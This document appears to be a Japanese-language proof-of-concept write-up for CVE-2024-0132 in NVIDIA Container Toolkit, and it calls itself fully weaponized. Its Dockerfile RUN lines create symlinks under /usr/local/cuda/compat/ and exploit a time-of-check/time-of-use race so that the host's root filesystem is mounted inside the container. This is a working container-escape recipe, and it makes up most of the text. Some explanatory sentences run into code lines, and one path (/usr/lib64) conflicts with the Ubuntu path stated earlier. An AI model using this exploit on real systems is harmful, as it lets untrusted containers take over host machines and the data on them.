
CVE-2024-0132 – 完全に武器化された NVIDIA Container Toolkit エクスプロイト
CVE-2024-0132 PoC
まずベースイメージを決めるところから始めましょう。システム内のライブラリの配置は、そのベースイメージに依存します。例えば、alpine では /usr/lib64/ になり、ubuntu では /usr/lib/x86_64-linux-gnu になります。ここではベースイメージとして ubuntu を使用します。
FROM ubuntu
NVIDIA コンテナツールキットは、コンテナ内の /usr/local/cuda/compat/ にあるライブラリを確認し、それらをメインのライブラリディレクトリにマウントします。このイメージ (ubuntu) の場合、それは /usr/lib/x86_64-linux-gnu になります。
リンクもマウントされるため、イメージ内の任意のファイルやディレクトリを /usr/lib/x86_64-linux-gnu にマウントできます。この際、リンクがコンテナ内で解決されるかどうかがチェックされ、パストラバーサルに複数の ../ を使用することはできません。しかし、/usr/local/cuda/compat/ を介したコンテナ内マウントを2回使用することでこれを回避できます。これが TOCTOU です。
/usr/local/cuda/compat/ からのマウントの仕組みについて詳しくは以下を参照してください:
RUN mkdir -p /usr/local/cuda/compat/
2つのディレクトリを作成します:
test という内容の通常ファイルが含まれます。RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
libdxcore.so という名前は、フィルタを満たすために選ばれています。メジャーバージョン (1337) は、実際のドライバのバージョンとは異なる必要があります。
/usr/local/cuda/compat/ に2つのリンクを作成します:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ の内容を /pwn/libdxcore.so.1337/ に置き換えます。RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs を /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs にマウントします。チェック時には通常のファイルですが、マウント時には /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs にあったリンクになるため、ホストのファイルシステムが /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/ にマウントされます。RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2